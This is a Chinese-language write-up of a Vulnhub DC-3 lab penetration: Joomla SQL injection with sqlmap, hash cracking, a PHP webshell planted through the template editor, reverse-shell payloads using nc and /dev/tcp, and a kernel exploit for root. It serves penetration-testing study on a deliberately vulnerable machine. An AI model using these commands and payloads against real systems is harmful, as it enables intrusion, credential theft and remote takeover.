Vulnhub靶机渗透学习记录:DC-3

目录

环境搭建

  1. 攻击机:Kali-Linux2020.4(VmwareWorkstation)
  2. 靶机:DC-3(VirtualBox)
  3. DC-3靶机下载链接:http://www.five86.com/dc-3.html
  4. Kali与DC-3配置桥接模式,并桥接到同一张网卡
  5. Kali的IP地址如下:
    Vulnhub靶机渗透学习记录:DC-3

信息收集

  1. 先使用Nmap探测Kali与DC-3所在网段存活主机,找到DC-3:
    Vulnhub靶机渗透学习记录:DC-3

  2. 进行全面扫描,并扫描全端口,发现只开放了80端口,使用了Joomla! :
    Vulnhub靶机渗透学习记录:DC-3

  3. 个人习惯,使用Nmap的vuln脚本探测一下,看是否有已知漏洞,结果发现这个版本的Joomla!存在SQL注入漏洞,先记下:
    Vulnhub靶机渗透学习记录:DC-3Vulnhub靶机渗透学习记录:DC-3

  4. 通过所发现有一款专用于Joomla!的扫描工具,类似wpscan。名为JoomScan,下载后进行扫描,安装和使用方法如下:

    # INSTALL
    git clone https://github.com/rezasp/joomscan.git
    cd joomscan
    perl ./joomscan.pl --url http://192.168.2.25 
    

    发现了版本号和管理员后台登陆地址,先记下:
    Vulnhub靶机渗透学习记录:DC-3

SQL注入漏洞利用

  1. 在信息收集阶段,用Nmap扫描出,此版本的Joomla!具有一个SQL注入漏洞,所以尝试利用。
    Vulnhub靶机渗透学习记录:DC-3

  2. 通过searchsploit搜索一下相关的利用方法,成功找到:
    Vulnhub靶机渗透学习记录:DC-3
    查看具体的漏洞位置和方法,并通过查阅相关资料发现是com_field组件的报错注入:
    Vulnhub靶机渗透学习记录:DC-3

  3. 先在页面上进行验证,验证成功:
    Vulnhub靶机渗透学习记录:DC-3

  4. 直接上sqlmap跑一下:
    所有数据库名:

    # 数据库  --dbs
    sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -p list[fullordering] --batch --dbs
    

    Vulnhub靶机渗透学习记录:DC-3
    joomladb的表:

    # joomladb中的所有表名  -D joomladb --tables
    sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -p list[fullordering] --batch -D joomladb --tables
    

    Vulnhub靶机渗透学习记录:DC-3
    发现了很多表,就看看users表:

    # 字段名   -D joomladb -T "#__users" --columns
    sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -p list[fullordering] --batch  -D joomladb -T "#__users" --columns
    

    此处遇到一点问题,使用如上的命令无法成功跑出字段名,起初以为是出入的#__users这个表名输入不正确所致,但多次尝试后依旧不行,最后去掉–batch,在与sqlmap交互时让其对字段名爆破,成功跑出多个字段。

    sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -p list[fullordering]  -D joomladb -T "#__users" --columns
    

    Vulnhub靶机渗透学习记录:DC-3
    成功跑出字段名:
    Vulnhub靶机渗透学习记录:DC-3
    获取username,name和password数据:

    # 表中信息   -D joomladb -T "#__users" -C name,email,username,password --dump --batch
    sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -p list[fullordering]  -D joomladb -T "#__users" -C name,email,username,password --dump --batch
    

    Vulnhub靶机渗透学习记录:DC-3

Hash解密进后台

  1. 获取到的password,放入john尝试解密,成功解出密码:
    Vulnhub靶机渗透学习记录:DC-3
  2. 由于信息收集阶段成功找到了管理员后台登陆地址:Admin page : http://192.168.2.25/administrator/
    所以使用admin/snoopy直接登入网站后台。
    Vulnhub靶机渗透学习记录:DC-3

getshell

  1. 通过浏览管理员后台内容,发现存在两个Template可以对文件进行管理。
    Vulnhub靶机渗透学习记录:DC-3
    Vulnhub靶机渗透学习记录:DC-3

  2. 选择其中一个,发现可以创建,php文件,所以在任意目录下创建一个文件,写入一句话并保存:
    Vulnhub靶机渗透学习记录:DC-3

  3. 写下了一句话,但遇到的问题是不知道写下的文件的访问路径,于是想起在信息收集阶段工具枚举出的一些目录:
    Nmap枚举出的目录如下:
    Vulnhub靶机渗透学习记录:DC-3
    Joomscan扫描出的目录:
    Vulnhub靶机渗透学习记录:DC-3
    接下来进行目录拼接尝试:
    发现http://192.168.2.25/administrator/templates 可以访问,但并没有发现Templates: Customise (Beez3) 相关的目录。
    Vulnhub靶机渗透学习记录:DC-3
    发现http://192.168.2.25/templates/也可以访问,但无内容显示出来
    Vulnhub靶机渗透学习记录:DC-3
    因为在保存shell文件时,有提示,所以进行拼接尝试
    Vulnhub靶机渗透学习记录:DC-3
    尝试使用http://192.168.2.25/templates/beez3/ ,依旧是访问成功,但无内容显示,但这说明beez3这个目录是存在的。
    Vulnhub靶机渗透学习记录:DC-3
    继续尝试,发现找到了写下的shell.php文件。
    Vulnhub靶机渗透学习记录:DC-3
    访问shell.php,发现写入的一句话成功解析,写入phpinfo()也能成功执行。
    Vulnhub靶机渗透学习记录:DC-3
    Vulnhub靶机渗透学习记录:DC-3

  4. 掏出蚁剑,进行连接:
    Vulnhub靶机渗透学习记录:DC-3
    成功连接:
    Vulnhub靶机渗透学习记录:DC-3

  5. **(非必要)**也可在写文件时,直接反弹shell到Kali
    最初的时候,我使用了nc来反弹shell,

    <?php 
    system("nc -e /bin/bash 192.168.2.25 9999");
    ?>
    

    但是无法正常反弹,未知原因。所以使用其他命令,

    <?php 
    system("bash -c 'bash -i >& /dev/tcp/192.168.2.14/9999 0>&1'");
    ?>
    

    访问时成功接收到shell:
    Vulnhub靶机渗透学习记录:DC-3
    尝试了一下nc -e命令,才发现原来是nc的-e参数被去掉了。

    Vulnhub靶机渗透学习记录:DC-3
    通过查找资料,我也找到了当nc的-e参数不存在时,使用nc反弹shell的方法,
    参考此文章:https://www.cnblogs.com/sreops/articles/12497033.html.

权限提升

  1. 使用sudo -l 查看有无有特殊权限的文件,无果:
    Vulnhub靶机渗透学习记录:DC-3

  2. 错误步骤可略过)查看是否有SUID提权:

    find / -user root -perm -4000 -print 2>/dev/null
    

    看到一个ntfs-3g,搜素发现有一个提权漏洞,于是尝试了一下。
    Vulnhub靶机渗透学习记录:DC-3
    使用searchsploit搜索相关exp:

    searchsploit ntfs-3g
    

    Vulnhub靶机渗透学习记录:DC-3
    发现是一个.sh脚本,所以直接复制到/tmp下,用python启动一个服务,供靶机下载:

    # 启动服务
    python -m SimpleHTTPServer
    
    # 靶机下载
    wget http://192.168.2.14:8000/41240.sh
    

    Vulnhub靶机渗透学习记录:DC-3
    Vulnhub靶机渗透学习记录:DC-3
    给权限后运行,发现出现问题:
    Vulnhub靶机渗透学习记录:DC-3
    搜索发现是脚本中的编码问题,可以通过Vim来修改,只需要Vim打开文件,然后键入以下内容后,回车,保存退出便可。如在靶机中打开Vim使用不方便,可在Kali修改后重新下载。

    :set ff=unix
    

    给权限成功运行后,发现提权不成功,这条路结束。
    Vulnhub靶机渗透学习记录:DC-3

  3. 正确步骤在这!!!!!)在提权过程中,其实犯了一个很大的错误,就是对操作系统的信息收集工作做的不完全。所以后来才发现可以Ubuntu 16.04的内核提权漏洞。
    查看操作系统相关信息常用命令:

    uname -a
    cat /etc/issue
    cat /etc/*release*
    cat /pro/version
    

    Vulnhub靶机渗透学习记录:DC-3
    earchsploit 搜索找到exp,这个地方其实尝试了好几个,还在MSF中试了几个,但都未成功。最后使用图中的39772.txt完成了提权。
    Vulnhub靶机渗透学习记录:DC-3
    查看39772.txt,提示在如下链接 ,下载exp。
    https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
    Vulnhub靶机渗透学习记录:DC-3
    下载成功后,解压。

    # 解压zip
    unzip filename.zip
    # 解压tar
    tar -xvf filename.tar
    

    Vulnhub靶机渗透学习记录:DC-3
    解压后进入ebpf_mapfd_doubleput_exploit目录,可以看到有4个文件。
    Vulnhub靶机渗透学习记录:DC-3

    查看compile.sh文件,发现这是个编译c的脚本,所以直接在本地编译好,再上传。
    Vulnhub靶机渗透学习记录:DC-3
    但是在Kali下编译,发现出现了错误。
    Vulnhub靶机渗透学习记录:DC-3
    还是尝试直接上传再编译,开启python服务。
    Vulnhub靶机渗透学习记录:DC-3
    利用靶机的shell直接下载,这里要下载一个目录下的全部文件,要加相关参数:
    -r : 遍历所有子目录
    -np : 不到上一层子目录去
    -nH : 不要将文件保存到主机名文件夹
    下载命令:

    wget -r -np -nH http://192.168.2.14:8000/ebpf_mapfd_doubleput_exploit
    

    Vulnhub靶机渗透学习记录:DC-3
    Vulnhub靶机渗透学习记录:DC-3
    进入目录,给compile.sh加权限,并执行,进行编译,发现只报了两个warning,没有报错。
    Vulnhub靶机渗透学习记录:DC-3
    编译完成可以看到生成了一个doubleput的文件。
    Vulnhub靶机渗透学习记录:DC-3
    执行后成功获取到root权限。
    Vulnhub靶机渗透学习记录:DC-3
    在/root目录下获取到flag
    Vulnhub靶机渗透学习记录:DC-3

上一篇:NGINX速率限制原理及源码分析


下一篇:docker安装nacos